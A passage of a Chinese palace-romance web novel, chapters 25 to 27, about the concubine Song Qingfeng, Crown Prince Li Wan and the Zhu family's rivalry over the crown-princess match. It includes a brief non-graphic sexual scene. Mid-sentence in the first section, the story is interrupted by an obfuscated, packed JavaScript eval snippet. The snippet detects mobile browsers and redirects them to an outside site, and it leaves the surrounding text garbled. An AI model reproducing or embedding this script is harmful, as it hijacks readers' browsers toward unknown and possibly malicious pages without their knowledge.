她曾经为兰哥哥做过衣裳,也便这样,踮起脚披在他身上,给他试穿。 那时她做的不过是粗布衣裳,而且第一次做针线,那衣裳做的衣摆短了,袖子长了。 穿上与街头卖艺的差不多。 不像手中这件,质地摸在手中,绵软顺滑,暗纹刺绣,无不精美。 衣裳各处的尺寸收缩也与当前的人身形完美地契合在一处,没有一处多余。 这些全是最好的绣娘,比着他的尺寸做出来的,哪里是她那蹩脚的针线功夫能媲美的。 行服为了骑马时行动便捷,与长袍不同,各处都很是贴身,还在各对襟袖口做了收口扣子。 那扣子皆是圆润的珍珠,扣起来又滑又紧,宋轻风哆哆嗦嗦扣了半天才勉强扣上一粒。 恍惚中似乎瞧见太子的胳膊上似乎戴着一个金色的东西。 是金镯子? 其实之前的几次接触,她恍惚中似乎也瞧见了,只是未过多留意。 想到太子殿下胳膊上戴个大金镯子,这画面,叫她不由忍不住想要笑。 她还没反应过来,李岏的耐心被她彻底耗尽,失眠了好几日的怨气上涌,想要将人一脚踢开。 可低头才想起来这是个女子,此刻脸颊红扑扑的,眼神很是专注地盯在扣子上,只是不知想到什么开心的事,脸颊上浅浅的梨涡若隐若现。 训斥的话到了唇边又咽了回去。 李岏闭了嘴,反倒是一早上的郁躁从心口升腾而起,滚过喉结,继而流过四肢百骸叫他忍不住浑身毛发立起,忍了几忍,到底忍不住,一把抓过她系扣子的手。 宋轻风未有准备,手下一使力,那粒扣子脱落开来,啪嗒啪嗒地在地上跳动。 而李岏顺势掐住了她的腰,手腕一用力便将她托坐在了旁边的案上。 外头的黑暗一点点被驱散,金色的晨光从窗口慢慢撒进屋内。 他感到掌心的腰肢细软,彷佛稍一用力就要断了,而这腰肢的主人,仰着头半躺在桌案上,脖颈细长白嫩,却费力勾着头,用一双水气弥漫的眼睛看着他。 等到一切停歇,她勉力扶住桌子,防止因为腿软站不稳。 那粒金扣子又在地上滚了滚,好一会才安静下来。 不等她伺候穿衣,李岏自己扯了腰带来扣上。 而后再无停留,长腿一迈,出了门。 边走边道:“西边有个侧室,你去那里。” 全福小步跟着走了,走前对着守在门口的小太监挥了挥手。小太监进屋来,将方才那件菡萏色的衣裳取了,一声不吭埋头跑了。 外头天方亮,晨光还未彻底升起,寒风阵阵,好在得了指示,不必往破云院去清洗。 宋轻风拖着疲软的腿去寻那侧室。 那室内不光有净室,还有床。 宋轻风浑身酸软无力,草草洗了再爬不动,一个手指头都懒得动,索性一把滚上床睡了过去。 糟! 还没睡到一半,一个激灵打来,宋轻风直直地从床上翻身坐起,顾不得疲累,一把从床上翻下来跑到外头,瞧见顺意还正收拾。 宋轻风一步迈上前,抓住他的手道:“顺意公公,我的药呢?” 顺意瞧见她问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955224|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙从一旁案上取了药碗来道:“瞧您睡着,奴婢没打扰,想着等您。。” 哪知话还没说完,却见宋轻风已一口气喝干了,抹了嘴,将空碗递了过来,里头一点残渣都不剩。 “这药要越早喝效果才越好呢。” 顺意见她笑眯眯地眉头都没皱一下,装作没事人一般,心想她也是难,明明是这般痛心之事,为了讨好殿下,也是做的这般积极,不由安慰道:“兴许哪日殿下开恩,许你。。” 未说完却见宋轻风已风一般转身进屋,一翻身上了床。 不知睡了多久,睡醒才发现饿了半死,忙又火急火燎地去膳堂寻早饭。 宋轻风闻着膳堂的香味饿的愈发双眼发花,脚步虚浮。 就着水足足吃了四只大馒头,吃得肚子浑圆,连走路都有些费劲才作罢。 等她吃完,正准备往破云院去,外头隐约传来声响。 是太子殿下回来了。 正想着果然瞧见那辆黑色的马车慢慢驶进来了。 只是今日这车的后面,却跟了一辆小一些的车。 宋轻风走不成,只能跟着一众的侍从在门口列队站好,目光垂着脚尖。 马车停了下来。 原本安静的一群人,却突然传来女子的轻笑声,和陌生男子的声音。 宋轻风心中一奇,悄悄抬起头。 却见李岏从车里出来走在前头,秋日的清晨里却已是满头的汗,白玉的面上有些微微发红,一身骑马装整阔利落。 竟是少见的意气风发。 宋轻风一愣,明明是天未亮时才见过的人,此刻居然有些陌生。 不等多想,却见他的身后,跟着一个穿着烟波粉裙衫的女子和红色圆领锦服的男子。 看衣着,这二人并不是朝廷命官的打扮,也不是宫内的侍从,倒像是个富贵的世家子弟和小姐。 全福说过,太子殿下极少在方华殿接见京中世家子。 这还是宋轻风第一次在方华殿内,瞧见太子殿下亲自带着世家子弟来。 几人行得近了,她忙低下头来,跟着众人一起跪地行礼。 却听那女子的声音娇俏又悦耳:“太子殿下,您方才骑马跑得飞快,我都没见您瞧上一眼靶子,怎么就能一下子射中靶心呢?” “方才那马跳跃奔走好似发疯,臣女一颗心就悬在嗓子眼,没成想您轻易就驯服了它。” “您骑射这般厉害,什么时候可以教教臣女啊?” 走在前面的李岏未曾接话,宋轻风只听到几人的脚步声越来越近。 那粉衣女子未得到回复,却丝毫未受影响,犹自小雀儿一般叽叽喳喳说个没完,语气里全是崇敬之情。 不多久这声音似乎就从自己旁边一闪而过。 宋轻风呼了一口气,正准备收拾收拾起身来。 自打来了这东宫,膝盖真是没少受罪。 不待动作,却见一声“咦”响起,而后果然一双绣着莲花样的绣鞋折返回来。 宋轻风努力低着头,将自己缩在最小,哪知那粉色裙摆还是停在了自己面前。 粉衣女子对旁边的全福道:“全福公公,这宫女瞧着有些面生,以前在东宫里面怎么从未见过?” 宋轻风有些想笑,她知道自打那场宫宴,自己早就在这京师出了名。 只是自打出事后,她就火急火燎地来了东宫,再也没出去过。 外头想要打听朝她扔臭鸡蛋的人,早从乌梅又绿口中听了许多。 她抬起头来,瞧见面前的女子容貌旖丽,娇俏可人,皮肤嫩得好似能掐出水来,一见就是大家族里娇贵养出来的花骨朵儿。 只可惜,这个花骨朵有些面熟。 25-30 第25章 第 25 章 糖袋子 李岏定定地站在楼顶。 而下面的女子不自觉向着自己的方向伸出手来, 似乎想要抓住什么。 晚霞满天,映照在她的双目,里面都是自己看不懂的深情。 连日的失眠, 已叫他有些恍惚,下午睡了这片刻,李岏却心中愈发憋闷难受。 一时更是感到风寒入体, 呼吸都是冷气, 忍不住低头止不住地咳嗽。 全福一惊,慌忙扶着他下了楼。 等小太监来宣她入殿的时候, 宋轻风才回过神来,抹了把脸,膝盖的疼便涌了上来, 腿已麻得失去了知觉。 她龇牙咧嘴地地站了好一会, 双腿才恢复了点知觉,被两个小太监架着一瘸一拐地进了殿内。 进得殿来,瞧见太子正坐在矮塌边上,埋头在写字, 旁边只有全福一个人伺候。 宋轻风方准备行礼, 却听他头也不抬地道:“不必了。” 他低头写字似乎写得极认真,宋轻风也便站在一旁没有说话。 不过片刻,李岏停了笔抬起头方要开口, 却见她双目红肿,虽然进来前净过面了, 却依稀可见脸颊上泪痕宛然。 现在知道哭了? 他问道:“知错了吗?” 宋轻风低头, 鼻音还很重地道:“是。” “说说错哪了?” 宋轻风道:“妾不该装晕倒。” 李岏眉心皱了皱道:“这就是你认识到的错误?你之……” “但是妾那时确实头疼,不曾撒谎。” 遇到这种喜欢诬陷人还爱哭的大家小姐,比她那几个宁安侯爷的姐妹还讨厌, 谁不头疼。 “你不知道主子未说完不可以插嘴吗?”啪地一声,李岏扔了手中的笔。 天色已晚,各处的长窗已关闭,屋内烛火却点得充足,将他的皮肤照的如透明一般,只是那双眸子里泛起琥珀之色,威势逼人。 宋轻风看了一眼,感到膝盖愈发地疼,缩了脖子道:“哦,是。” 李岏冷笑道:“你以为自己今日仗着点小聪明,装晕躲过惩罚很得意?孤在大狱之中,对于晕倒的犯人,水泼油浇,火烧针扎,多的是将人弄醒的办法。” 这些词让宋轻风忍不住抖了抖,脸色也白了几分,却低着头不言语。 李岏道:“怎么不回话?” 宋轻风无辜地问道:“您说完了?” “……” “妾不得意,今日也是她故意诬陷妾的。” 李岏看着她道:“她是当朝首辅的嫡孙女,是京师数一数二的高门贵女,不管从哪方面来看,她都会是这东宫太子妃的不二人选。” 太子妃? 这说不清是宋轻风第几次听到这个词。 一进东宫的时候,她就听说太子殿下要选妃了,这东宫即将迎来女主人。 原来今日这位就是他未来的妻子吗? 他会与她缔结良缘,白头到老。 她轻声问道:“看来您很喜欢她?” 李岏彷佛听到了笑话一般:“喜欢?” “二人成婚,不就是是互相喜欢吗?” “皇室联姻,何时谈过喜欢?当真是愚蠢至致!” “不是因为喜欢而成婚?” “因为喜欢而成婚,不过是书上讲的故事。孤的婚姻,是皇室与权贵的联姻,孤娶的人,必是高门之后,必得是世家女子的楷模,孤娶的不光是太子妃,以后也会是母仪天下的皇后。” “只是为了这个而成婚吗?那您喜欢她吗?” “孤从不需要什么小情小爱。你嘴里的喜欢,在孤这里,一文不值。” 宋轻风不自觉地张嘴想要说什么,又说不出来。所以昨天她说喜欢他的时候,他心里大概觉得很可笑。 李岏确实觉得很可笑,一个小小的不知天高地厚的私生女,竟敢开口对他说喜欢这样的话? “再说,孤若不娶她,难道等着我的好兄弟们蜂拥而上,将当朝首辅推给他们,助长他们的羽翼?” 宋轻风看着他的神色,知道他是认真的,在他的世界里,是真的不需要喜欢这种小事。 只要那人可以带给他想要的,他根本不在乎娶的是谁。 就像她。 他厌恶她轻视她,可还是接受了她成为他的侍妾,与她做那等亲密之事。 宋轻风想起多年前,她鼓起勇气向兰哥哥剖白心迹,希望他可以与自己成亲时,他只是淡淡笑了笑道:“你还小,不懂情爱,谈何成亲。” 她天真地问道:“什么是情爱?只有懂了情爱才能成亲吗?” 他道:“当然,你不喜欢我,我们怎么可以成亲呢?” 她那时候一时脑袋懵住了,忘记告诉他,她喜欢他。 是他给了她第二次生命,给了她一个家。 只是而今。 原来,没有喜欢,也是可以成亲的吗? 若是兰哥哥也是因这样的缘由成婚,余生该是何等模样。 她不知道,只是心中有些闷闷的。 李岏见她一脸沉郁迷惘神色,和着刚哭完之后的凄楚,以为她是听闻了自己要娶太子妃之事,心中失落。 “你今日本来若是乖乖认错,磕头请罪,等她入主东宫之日,或许还有你的一条活路。可是你自己却耍小聪明,将自己逼上死路。” “可是分明是她…” 李岏打断她道:“她是主,你是奴,犯错的只有你。” 宋轻风道:“您会救我吗?” 李岏低下了头道:“在这宫里想要活下去,保住自己的小命,只能自己想办法。孤不会过问这种事。” 况且他已经忙得不可开交,这些一律归为争风吃醋的小事,不值得他费半点功夫。 宋轻风见他神情,心中本就空落落的,一时更是没了趣味。 看来,打不过也只能早点跑了。 反正本来她也没打算在这京师长呆。 宋轻风看向李岏眼角下的红痣,算起来,他离开已两年了。 人生的离别,最可怕的,不是生离,而是死别。 生离还有相见之期,死别,却只剩无尽的灰暗和绝望。 李岏抬头,见她又睁着那双哭红了的大眼睛一眨不眨地看着自己,神情专注又认真,只是今日,他似乎感到里头夹杂着许多说不清的失落和伤心,叫人不忍多看。 他忍不住额心发跳,下意识捏紧了拇指上的扳指。 看来是自己方才的话,叫她伤了心。 她早该明白这些道理。 便是她大胆剖白,凭她的出生和来历,他也不会给她任何切实的名分。 更不会为了她,与祝家产生嫌隙。 不过听闻她是外头长大,半年前才来了京师,总还存着些不切实际的幻想与奢望。 “宫里规矩森严,便是孤也要受其束缚,你若总是一副不以为然,以后连如何死的都不知道。” 宋轻风咬了咬唇,他说的不错,对这宫城来说,她不过是个匆匆的过客。 这些繁琐的规矩,她确实从未放在心上。 李岏说着目光下垂,落在宋轻风的腰间,不再疾言厉色:“你虽出身民间,但既入了宫,以后日子还长,更要时刻注意自己的所言所行。” 宋轻风顺着他的目光看到了自己腰间鼓鼓囊囊的荷包。 她下意识一把捂住了荷包!心头剧震。 难道叫他发现了? 他是什么时候发现的?! 李岏道:“又不是三岁小儿,成日里挂个糖袋子?” 宋轻风这才松了口气,微微发颤的手指在衣摆上抓了抓,轻声道:“只是,妾喜食甜。” 李岏一窒,抬起头来飞快地看了她一眼,而后打开面前的文书。 看了一会才开口道:“今日只是小惩大戒,若是再犯,孤绝不会轻饶。下去。” 宋轻风下午跪了一场,又哭了一场,全身失了气力,闷闷地“是”了一声,耷拉着脑袋退了出去。 李岏余光瞧见她鹌鹑一般,全无往日的半点生气,一瘸一拐地走了。 他将文书一丢,一脚踢脱了鞋子,爬上了矮塌。 呆呆地坐了一会,拿起笔来又扔了,从一堆摊开的书里翻了卷棋谱出来。 全福瞧见了,忙将白玉棋盘摆出来放在案上。 李岏看着棋谱,却道:“孤前日得的那幅张书白的画,明日送去赵老师的府上。你亲自去。” “是。” 这没有缘由的一出,叫全福心中一动,殿下说的赵老师,乃是太子太师赵周全。 李岏翻了一页棋谱又道:“祝长青曾给孤做过几年伴读,那时学识就不错,孤瞧着这几年又精进了不少。正巧内阁侍读的职位还有空缺,让赵丰盈去趟吏部,举荐祝长青将这缺填了。” “是。” 祝长青如今担着五品吏部郎中职,而这内阁侍读是从四品,这是升官了! 全福压下心头诧异,开玩笑道:“祝公子今日来了一趟就得了旨意,只怕以后要往东宫跑得更勤了。” 李岏不接他的玩笑,只是愈发冷着脸。 全福紧张地浑身冒汗,恨不得给自己一大嘴巴。 以他多年服侍的经验来看,殿下不知为何这是在发作边缘了。 李岏却并未发作,看了眼桌上方才写的信道,“还有,这差事交给高守去办。” 第26章 第 26 章 弥补 全福拿了桌上的纸, 小心翼翼叠了起来。 “是,奴婢这就去安排。” “去吧。” 全福退到了外间,看了看手中的信想了想, 先将其交给了高守,而后招了顺意,让他去寻赵詹事明日去吏部传旨, 自己则准备收拾了一早去赵太师府的东西。 顺意悄悄地道:“太子殿下这么快就要给祝家兄妹补偿么?方才奴婢瞧着宋娘子哭得凄惨, 看来太子妃是祝家小姐无疑了。” 全福低声斥道:“小兔崽子你懂什么!还不把你的嘴闭牢点,麻利点去。” 顺意脖子一缩, 忙出去传旨去了。 全福从画筒里翻出那副张书白的画,打开看了看,山水行舟栩栩如生, 不由叹了口气…… 宋轻风一瘸一拐地回到破云院, 乌梅又绿围着她,三人面色都不好看,一时谁也没说话。 宋轻风瘫坐在床边,捂住膝盖可怜巴巴地道:“膝盖疼, 你们热个鸡蛋给我滚滚。” 两人早煮了鸡蛋, 蹲下身掀开宋轻风的裙摆,不由倒抽口冷气。 那两个膝盖肿得桃子一般,又大又红。 乌梅惊呼道:“素来听闻那院子里的石头坚硬无比, 看娘子跪了这半日,居然就肿得这般, 这怕不是比跪钉板还厉害。” 宋轻风被她一夸张, 愈发觉得疼得厉害,一时龇牙咧嘴,哀叫连连。 又绿忍不住抹了眼泪, 抽抽嗒嗒地道:“娘子,您别难过,太子殿下兴许只是一时生气,等气消了,还是在乎您的,您可别往心里去。” 宋轻风随口道:“我不难过。” 两人以为她不过自我宽慰。 可她确实只是疼,并不难过。而今不过是各取所需罢了。 鸡蛋凉了,又绿出门又去拿新的,不一会回来,手里却多了一瓶药,说是顺意悄悄送来的,祛血化瘀最是有效。 果然抹了以后,第二日起床,膝盖上的红肿消了许多,她下床来走了几步,也没那么疼了。 也算她一向这底子好,受了多重的伤总能很快痊愈。 宋轻风忍不住拿起那伤药瓶子啧啧赞叹道:“到底宫里的药不一样,这怕不是神药吧?” 两人原以为她要伤春悲秋几日,不想这么快就笑眯眯地,开始研究这伤药来了…… 祝府里头,祝长青兄妹正与暖阁里头陪母亲用早膳。 祝长灵说到昨日入宫事宜,如何观太子殿下骑射,又被殿下赐了马车邀进了东宫。 祝母眉开眼笑道:“你们自小相识,长青又给太子殿下做过几年伴读,这情分绝不是其他人能比的。” 祝长灵得意地道:“那是自然,也就哥哥战战兢兢,像是耗子见了猫似的。” 祝长青被她说到此,一时无语地道:“你若是跟着殿下做过伴读,只怕还不如我。” “殿下向来待人和颜悦色,一点也没有架子。” 祝长青翻了白眼。 祝母忙打断二人道:“你们也知道,皇后娘娘受了皇命,在为殿下物色适龄的姑娘,这不刚下了帖子,十日后在宫内办个赏菊宴,请了不少名门闺秀呢。” 祝长灵撅嘴不开心:“怎么还要物色,还要办赏菊宴!” 祝母道:“而今宫内除了太子殿下,还有几位皇子也到了谈婚论嫁的年纪。我瞧着皇后娘娘此次,也是打着为晋王相看的意思。” 皇后娘娘是继后,晋王乃是她的嫡出,长相俊朗,为人谦和,又甚得陛下的宠爱,几乎到哪都带在身边。 想到晋王,长灵愈发抓住母亲的手道:“我不管,我只喜欢太子殿下。” 一旁祝长青皱眉道:“你可真是……说来你昨日到底行事鲁莽了些。” 祝母听闻经过,忙扯了女儿道:“快给母亲瞧瞧,可烫伤了没有?” 祝长灵笑道:“那是奉给太子殿下的茶,怎么可能烫人?我不过是夸张了些,况且一夜过去了,连点红痕都没了。” 想到此,祝长灵不满地道:“只是那宋氏,当真是嚣张跋扈,居然敢将茶泼在我身上,手段又低劣心思又狠,丝毫不将我们祝家放在眼里。” 祝母咬牙恨道:“那宁安侯府的私生女,上不得台面的东西,居然叫她在东宫里头混在殿下跟前。还有那宁安侯府,这样的人也敢往宫宴上带,要是我家出这事,我羞也羞死了,可那宁安侯府倒好,愈发要带着女儿们四处走,大概是想要效仿这个,叫其他女儿也能讹上个高门去。” 祝长灵不满道:“可是那个贱婢,成日跟在太子殿下旁边!您没瞧见她那双直勾勾的眼睛,若是……若是殿下瞧上了她,可怎么办?” 她记得这贱婢长得确实不赖,人又年轻,尤其那双假清纯的眼睛,只怕最会骗男人的心。 祝母安慰她道:“这是怕什么!她虽出生宁安侯府,却是私生女,连个谍谱都未曾上,在侯府里,都是半主半奴的身份,如今在东宫也不过是个没名分的侍妾。” “而且那宁安侯不过是祖上一点荫蔽,又是个混不拧,成日里不着家,四处风流快活,否则殿下如何连个位份也不赐,即便她再兴风作浪,也翻不出什么花来,顶天以后生个一儿半女,抬个昭仪,还不是任由主母拿捏搓磨。” 就这祝府里头的那几房妾室,哪个不是叫她管得乖顺的绵羊一般,挨打受骂连吭都不敢吭一声。 经母亲一番说,祝长灵慢慢定了心思,却还是不满地道:“可是,可我还是不愿太子殿下……” 祝母拦住她道:“男人三妻四妾再正常不过,更何况是太子?若你是入了东宫,以后还需为殿下管好后宫。” 几人还未说完,却见门外嬷嬷进来了,眉开眼笑。 祝母瞧见,好奇问道:“什么喜事,一早上把你乐成这样?” 那嬷嬷立马行礼道:“恭喜夫人,恭喜大公子。方才前院来人报说,吏部来了消息,太子殿下一早要举荐我们大公子去做内阁侍读。老爷说,等正式旨意下来,要带着大公子一道去谢恩呢。” “哎哟,”祝母立马激动起来,眼角的纹都开了,“这内阁侍读可是个又清贵又体面的差使,正儿八经的从四品!给了我们大郎?” 长灵也跟着拍手笑道:“哥哥这是升官了啊!恭喜哥哥贺喜哥哥!”说着捂嘴笑道:“看来妹妹昨日这一烫没白挨,太子殿下这是要弥补呢。” 她愈发得意,若不是为着她,何故好好地给她哥升官,这是在向她祝家,在向她示好。 祝长青听闻,先是一喜,而后突然面色转了复杂。 祝家母女见长青不说话,面色也不好看,诧异道:“怎么了?这难道不是喜事?” 长青看了眼母亲和妹妹,她们所言确实不差,欢喜也确实该欢喜。 这内阁侍读,不光清贵体面,而且常常有机会呆在陛下和太子殿下的周围,多少人宁愿不要三品,也想要这从四品的职位。况且他在吏部郎中的任上不过一年就能晋升,换做任何一个人都是要感激涕零的。 可是…… 对于祝家却又有不同。 自己的祖父已经是内阁首辅,自己再担这内阁侍读,不过是锦上添花,对他们祝家来说毫无半点助益。 可他而今担着的吏部郎中,虽然是个五品,却管着官员晋升考核之事,乃是个实实在在的掌权职位,对他们祝家来说,才是最紧要的。 祖父和父亲前些年在背后使了多大的力,好不容易才将自己调进去。 祝长青不想母亲担心,当下起身道:“这等大事,我去寻父亲和祖父商量一二。” 祝母挥手道:“快去快去,记得早点去东宫谢恩,可千万别耽搁了。” 长灵也一并跟着哥哥出来,见哥哥却面色转阴,闷闷不乐, 祝长灵听了哥哥的话,安慰他道:“哥哥你想多了,等你当了内阁侍读,陛下和太子殿下看重你,还愁没机会。” 祝长青苦笑了一下。 几年前他为东宫伴读之时,太子殿下就知晓,他在文书上头能力极为有限,而今去做这内阁侍读,与陛下刊写文书,校对汇总奏报,不惹陛下怪罪就不错了,何来的看重。 更何况…… 突然长青身旁的小厮上前来,禀告道:“大公子,奴婢听闻全福公公今日特意去了趟赵太师府。” 长灵抢先问道:“去那做什么?” “全福公公今日是去给赵太师送画的,据说送的乃是书画大家张书白的画作,叫什么秋雨行舟图。” 听闻此,祝长灵的脸色却霎地白了白,比旁边长青的还要难看。 谁都知道,赵太师的女儿,赵宴苒,是个画痴,其中最爱的,便是山水行舟。 太子殿下自小跟着赵太师学书,与他的女儿也极为熟识。 在这当口,特特地叫全福亲自去与她送画。 祝长灵攒紧了手中的帕子,嘴唇咬得出了血,一脚踢翻了行廊旁的花盆,乒乓一阵乱响。 “他这是什么意思!” 祝长青一把上前捂住她的嘴。 第27章 第 27 章 云逍 瞧见妹妹如此失态, 祝长青终于沉下脸色,妹妹这果真是叫家里给惯坏了,愈发言行无忌。 今日这些事, 还不都是她惹出来的! 方才他还不能完全确信,如今听闻这个消息,终于肯定自己方才没有想多。 在东宫时, 妹妹言行不合规矩也就罢了, 还与那宋氏置什么气。 太子殿下当时没有表示,可两人刚回府, 第二日这旨意就跟着来了。显然此举,是表示对昨日他们兄妹二人的行为极为不满。 这是在给二人警告。 一则叫他们祝家知晓,这太子妃的人选, 并非只有祝家不可, 二则更是将他调离吏部,做了内阁侍读,让他家里前几年的努力都泡了汤,况且他不擅长此道, 对他祝家来说也不过是明升暗降。 祝长灵听闻, 气得咬牙道:“没想到那个贱婢手段如此了得,竟能哄得太子殿下为她出头,我绝不能叫她这种人这般猖狂!” 祝长青道:“如今既然太子殿下在乎她, 你不得再鲁莽行事。而今最要紧之事,是要送你入主东宫。就像母亲说的, 等你成了太子妃, 一个小小的侍妾,你要治她不过轻而易举,便是太子殿下也不便插手。” 祝长灵抓住哥哥的胳膊道:“怎么办怎么办?可难道殿下真看上她了?” 祝长青安抚她, 摇了摇头道:“以今日情形看来,应该还未。” 太子殿下此举,未必全是为了维护她,说来她如今毕竟是东宫的人,打狗还需看主人,妹妹你行事到底张狂了些。 祝长灵恨恨地咬牙道:“一个侍妾等我以后自有机会摆弄她,可那赵宴苒怎么办?” 若论样貌,她丝毫不逊色于自己,论家世,她父亲年纪不大,却已是从一品的太子太师,几乎与自己爷爷平起平坐。 祝长青想了想道:“如此,想要除去赵宴苒这个劲敌,我再来想想办法。只是妹妹你可想清楚了,你当真想要进东宫吗?我们祝家而今的地位,不需要你牺牲自己的幸福。太子殿下未必是个……” 祝长灵不耐烦地摆手道:“”哥哥你又来!” 长青无奈,知道说再多也无用,兄妹二人刚分开,长灵往自己屋来,迎头却撞见屋内的嬷嬷跑上前来,一张脸煞白。 瞧见她就道:“大小姐,不好了,大人正派人寻你去问话呢。” 长灵正自莫名,瞧见她这样也不以为意,不满地道:“钱嬷嬷大惊小怪做什么,还能出什么事?” 钱嬷嬷凑上前来,低声道:“哎呀!您前几日子偷跑出府,在外头与吏部张尚书家千金发生口角,将人推下河的事,不知怎么传到张家耳朵里了!说是张家千金回去结结实实烧了几天,知晓是您做的,那张尚书一大早就上门来寻老爷要个说法。” 长灵越听面色越白,啪地打了身后的侍女一巴掌道:“是不是你多嘴!” 那侍女委屈地小声抽泣,却不敢反驳。 还没等说完,却见不远处来了祝夫人屋里的嬷嬷,垂首站在道边道:“大小姐,随奴婢去见老爷吧。” 长灵无法,一边吓得花容失色,一边抓住钱嬷嬷的手道:“钱嬷嬷,快去寻祖父,快去寻哥哥救我。” 钱嬷嬷安慰她道:“大小姐放心,老爷一向疼您,又有夫人在,您向他老人家好好认个错,再撒个娇,说不得去张府赔个礼,这事也就过去了。” 祝长灵又回了祝夫人的正堂,却见正中端坐着的正是自己的父亲。 祝父自小体弱,只能醉心书画,在朝上不过担着闲散官职。 他一张脸黑沉,瞧见她进来,二话不说就厉声道:“还不跪下!” 祝长灵跪下,向母亲投去求救的目光,祝夫人还未开口,祝父已怒道:“都是你平日里娇宠太过,将她宠得这般无法无天!居然敢偷偷出府去,这事我先不说,方才张尚书已经问到老夫的脸上来了!说是要去金殿上告我祝家以强凌弱!” 祝夫人才被丈夫斥责了好一会,面色通红,不敢开口。 长灵不忿地道:“不过是我们姐妹之间一时玩闹,失手罢了。那张小姐又没怎么样,不是已经好了吗?他们张家未免小题大做。” 祝父气得咳嗽不止,好一会蹬鼻子瞪眼地道:“你以为这只是你们闺阁之间的玩闹?” “那还有什么?”祝夫人一边给他顺气,一边道,“长灵没个轻重,我今日就带着她去给张家赔不是。” 祝父气道:“若是往日,这般或许那张家心中不悦,却也就罢了!” “可大郎,一早便传出要离开吏部,去内阁做侍读的事。张尚书身为大郎的顶头上司,这事之前居然半点不知情,直接接了旨,这在官场,乃是大忌。” 祝夫人解释道:“大郎的官职,乃是太子殿下突然亲赐的,这怪不得我家大郎。” 祝父道:“前几日你女儿在外头与张家千金在发生口角,说了什么话。” 见女儿不吱声,祝父怒道:“你当着她的面说,你哥哥只是暂时屈居在他们吏部,以后张家给你们祝家提鞋也不配。你说这样的话,此刻再说只是太子殿下一时兴起,傻子才会相信。” 祝长灵想起那日似乎确实说过这样的话,跪在地上小声辩解道:“那只是吵架时的气话,当不得真。况且这闺阁里头的话,怎么给传到外头去了!” 祝父气得胸口疼,一屁股坐在椅子上道:“这事搁谁头上能咽得下这口气?何况是他张家!如今得罪了张府,你还在这不思悔改!” “你被娇宠地这样,哪有半点高门千金的做派!为父再不管,只怕这祝家是怎么亡的,都不知道。” 祝夫人只觉得丈夫这话说得重了,却也不敢上前劝解,只是使眼色给旁边的嬷嬷,叫她快点去搬救兵。 这府里头,要说最疼长灵的,就是祝老太爷了。 祝父呵道:“去佛堂跪着,将那些女则女训抄写一百遍,哪日抄完了,哪日起来。” “还有!这些奴婢,以后谁若是敢私自放她出了祝家这个门,就地打死!” 什么! 祝长灵瘫倒在地,掩面哭道:“父亲饶了女儿吧,若是抄一百遍,女儿只怕抄上十日也抄不完啊!” 一旁祝夫人也忍不住求情道:“老爷,那佛堂又暗又冷,地上潮湿,灵儿自小体弱,别说跪上十天半月,便是跪上一个时辰也禁不住啊。” 祝父此刻却半点没有心软,冷冷地道:“若是一辈子抄不完,就跪一辈子!” 出去搬救兵的嬷嬷没回来,跟着祝父的小厮却出现在了门外。 他在外头小心地禀告道:“回禀老爷,老太爷请老爷速速前去,说是要带着大公子一起去东宫谢恩呢。” 这关系大郎的前途,祝夫人不敢拦,只是与女儿一起抱头痛哭。 那小厮又道:“临来前老太爷吩咐了,老子教训女儿天经地义,谁也不许拦着。” 长灵听闻,却连哭都哭不出来了…… 宋轻风研究完了神药,从怀里扣出一小块银子来道:“又绿,你帮我寻个好东西送给顺意吧,感谢他惦记着我。” 又绿答应着去了。 乌梅在屋内连连叹气:“娘子这些日子当真是倒霉,屡屡挨骂挨罚,昨日又得罪了祝家小姐,等祝家小姐入府成了太子妃,以后的日子可怎么熬啊!” 宋轻风揪了揪旁边嘎嘎头顶的毛道:“太子妃太子妃,听得耳朵都生了茧,太子妃到底要多久入府啊?” 乌梅道:“这可不好说,不过按理,等殿下十八岁生辰之后就会娶妻,这次娶的又是正妃,听闻还要立些侧妃,流程复杂些,可再复杂估摸着半年也差不多了。” 宋轻风低下头默默掰了掰手指。 半年,时间算不得短,可也不长,于她更是有些不足。 这些时日,她一心沉迷在东宫,几乎毫无作为。 心思要收一收,加紧些,半年内找到东西才成。 正自神游,不想手下用了力,扯疼了嘎嘎,嘎嘎一阵吱哇乱叫,翅膀拍得震天响,却居然没有咬她。 乌梅扯了嘎嘎过去惊奇道:“这太阳打西边出来了,嘎嘎这脾气居然这么好了?娘子您扯了它的毛居然都忍着没咬你。” 宋轻风撇了撇嘴,看着它黑豆子的小眼睛里怒火冲天。 徒留几声刺耳的嘎嘎以示惩诫,却只是外强中干。 乌梅惊奇完得出结论:“嘎嘎这是喜欢你了!” 这小乌鸦刚回来的时候,高傲的很,对乌梅又绿还算不错,可却对宋轻风怀恨在心。 不想而今,居然也转了性。 宋轻风看了看嘎嘎,突然道:“呆在一起时间久了,总要生些感情的嘛。” 大白天屋内还是黑黢黢的,乌梅走到窗户边,对着窗外那堵红墙来了气:“八成是这堵墙堵了娘子的气运!娘子好不容易眼见要复宠了,又偏得罪了祝家!” “要不我寻个人,将这墙砸了干净,或者在南边的墙上再开个窗来?” 宋轻风道:“不,我喜欢这堵墙,有安全感。” 说完转念一想,“不过你说的对,最近是有些倒霉!不若……” 还未说完,却听外头传来一声嘤咛惊呼:“娘子不好了!” 宋轻风捂住脑袋道:“怎么了?” 又绿气喘吁吁,捂住胸口好一会才喘匀了气,这才惊慌地道:“奴婢方瞧见祝首辅带着一家几口来东宫了!” 宋轻风还未开口,却听乌梅已跺脚道:“完了完了!娘子昨日烫了人家,这是一家子跑来给女儿撑腰来了!” “娘子这可如何是好?太子殿下为了安抚他们,一定会把你推出去的!毕竟您只是个小小的侍妾,怎么能和祝小姐相提并论!” 宋轻风听多了这样的话一时也还是有点想骂人,可看乌梅着急的脸通红,一旁又绿如受惊的小鹿,秋日里两人皆是急得一头的汗。 她一时张了张口,却没有说话。 被人关心的感觉,还是很美妙的,虽然对方可能是个讨人厌的乌鸦嘴。 乌梅道:“娘子要不您先躲躲吧,人来了奴婢就说寻不到您了……” 又绿道:“要不您还是装病吧……” 